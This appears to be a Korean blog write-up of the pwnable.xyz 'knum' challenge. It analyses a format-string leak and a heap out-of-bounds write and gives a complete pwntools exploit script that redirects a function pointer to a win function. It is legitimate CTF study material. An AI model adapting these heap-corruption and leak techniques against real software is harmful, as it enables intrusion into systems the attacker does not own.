pwnable.xyz에서 가장 적은 solve 수를 자랑하는 문제다. 바이너리도 구조가 단순한 편이 아니라 취약점 찾는 게 좀 힘들었다.
바이너리가 strip 되어 있기 때문에 먼저 이름을 다 붙여준다.
또 여기서는 스택을 (거의) 사용하지 않고, malloc으로 char 배열을 쓰거나 어떤 구조체를 위한 공간을 할당한다. (위 그림 전역변수 타입 참고) 분석에 사용한 구조체는 아래 2가지가 있다.
show_hiscore에서 익숙한 버그가 눈에 들어온다.
void __fastcall show_hiscore()
{ int i; // [rsp+Ch] [rbp-4h] putchar(10); puts("Hall of fame - All time best knum players"); puts("#################################################################"); for ( i = 0; i <= 9; ++i ) { __printf_chk(1, "%d. %s - %d\n\t", (unsigned int)(i + 1), &ptr[i], (unsigned int)ptr[i].score); __printf_chk(1, ptr[i].remark); putchar(10); } puts("#################################################################"); putchar(10); } |
hiscore_entry의 remark를 통해 FSB가 통하긴 하는데, _FORTIFY_SOURCE 옵션이 붙어있기 때문에 %n을 쓸 수 없어서 stack, libc와 process image 주소 leak만 가능하다. (positional argument도 못 쓴다)
while ( !x && !y || field[16 * y + x] )
{ __printf_chk(1, "Player %d - Enter your move (invalid input to end game)\n", (unsigned int)info->current_player); __printf_chk(1, "- Enter target field (x y): "); if ( __isoc99_scanf("%d %d", &x, &y) != 2 ) { valid = 0; break; } } if ( !valid ) break; if ( x > 16 || y > 10 ) { puts("Invalid move..."); } else { while ( !val || val > 255 ) { __printf_chk(1, "- Enter the value you want to put there (< 255): "); __isoc99_scanf("%d", &val); } field[16 * (10 - y) - 1 + x] = val; pt = update_field(); |
play_game 함수에는 OOB write 버그가 있다. field의 chunk 크기는 0xA0 (헤더 제외) 인데, y가 0이면 field[160+x-1] 에 값을 쓰므로 다음 chunk의 헤더 필드 16바이트를 조작할 수 있다. play_game까지 실행한 시점에서 heap 상태는 아래와 같다.
즉 ptr의 prev_size와 size 필드를 조작할 수 있게 된다.
전반적인 시나리오는 아래와 같다. 원래 글로 설명하려고 했으나 말로 설명하는 재주가 없어서 그런지, 전달이 매끄럽게 잘 안되는 듯 해서 아래에 그림으로도 그려봤다.
1. ptr의 size 필드 값을 0x8B1로 바꾼다.
2. reset_hiscore 함수를 실행하면 free(ptr); 을 실행하면서 ptr, info, s_menu가 전부 top chunk에 들어간다. 이후 malloc(0x7A8); 을 실행하면 top chunk는 info를 가리킨다.
3. update_hiscore에서 name과 remark를 free하기 때문에 각각 0x50, 0x90 크기의 chunk 1개가 tcache에 들어가 있는 상태가 된다. drop_note로 note 포인터에 tcache가 잡고 있던 주소를 할당시킨다.
4. drop_note로 0x50 크기의 tcache entry를 비우고 나면 update_hiscore에서 할당받는 0x50 크기 chunk는 top chunk에서 할당받게 된다. 즉 이름을 쓰는 곳에 값을 잘 넣어서 info 구조체를 막 수정할 수 있다.
5. info->round_func를 win 주소로 바꾸고 play_game에서 함수를 실행시켜 플래그를 얻는다.
다 풀었다고 생각하고 그대로 돌렸더니 플래그가 나오지 않았다..
이유는, printf로 leak 한 5번째 주소는 Ubuntu에서는 __libc_csu_init (0x1A50) 주소를 가리키고 있었는데, Alpine에서는 _start (0xB80) 주소를 가리키고 있기 때문이었다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 |
from pwn import *
from typing import * import argparse def log_info(string) : sys.stderr.write((u'\u001b[37;1m[\u001b[32m+\u001b[37;1m]\u001b[0m ' + string + '\n').encode()) def append_newline(data:bytes, size:int) : if len(data) < size : return data + b'\n' else : return data def PlayGame(score:int, name:bytes, remark:bytes, modify:Dict[int, int]=None) : p.writeline(b'1') for i in range(10) : p.writelineafter(b'(x y): ', '1 {}'.format(i+1).encode()) p.writelineafter(b'(< 255): ', b'100') for _ in range(score-1) : p.writelineafter(b'(x y): ', b'1 5') p.writelineafter(b'(< 255): ', b'100') p.writelineafter(b'(x y): ', b'1 10') p.writelineafter(b'(< 255): ', b'100') if modify : for i in modify : assert(i < 0xB0) p.writelineafter(b'(x y): ', '{} {}'.format(i%16+1, 10-i//16).encode()) p.writelineafter(b'(< 255): ', str(modify[i]).encode()) p.writelineafter(b'(x y): ', b'a') result = p.read().split(b'\n')[0] if result == b'You didn\'t make it in the hall of fame :(' : log_info('failed hiscore update') return p.write(append_newline(name, 0x3F)) p.write(append_newline(remark, 0x7F)) log_info('hiscore update: score={}, name={}, remark={}'.format(score, name, remark)) def ShowHiscore() -> List[Tuple[bytes, int, bytes]]: hall_of_fame = [] p.writeline(b'2') p.readuntil(b'##########\n') for i in range(10) : p.readuntil('{}. '.format(i+1).encode()) r = p.readline().split(b' - ') name, score = r[0], int(r[1]) p.readuntil(b'\t') remark = p.readline(keepends=False) hall_of_fame.append((name, score, remark)) return hall_of_fame def ResetHiscore() : p.writeline(b'3') def DropNote(note:bytes) : p.writeline(b'4') p.writeafter(b': ', append_newline(note, 0x47)) def exploit() : # leak process image base address PlayGame(2, b'A', b'%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p') leak = ShowHiscore()[9][2].split(b' ') if args.remote : proc_base = int(leak[4], 16) - 0xB80 else : proc_base = int(leak[4], 16) - 0x1A50 win = proc_base + 0x19FE log_info('image base: '+hex(proc_base)) log_info('win = '+hex(win)) ResetHiscore() PlayGame(2, b'A', b'A', modify={0xA8:0xB1, 0xA9:0x8}) ResetHiscore() DropNote(b'A') PlayGame(2, b'A'*0x20+p64(win), b'A') p.writeline(b'1') p.interactive() if __name__ == '__main__' : parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', action='store_true', help='connect to remote server') args = parser.parse_args() if args.remote : p = connect('svc.pwnable.xyz', 30043, fam='ipv4') else : p = process('./challenge') exploit() |
Last update: 5/22/2020
'Wargame > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / fishing (0) | 2020.05.30 |
---|---|
pwnable.xyz / BabyVM (0) | 2020.05.22 |
pwnable.xyz / PvE (0) | 2020.05.12 |
pwnable.xyz / note v3 (0) | 2020.05.11 |
pwnable.xyz / world (0) | 2020.05.11 |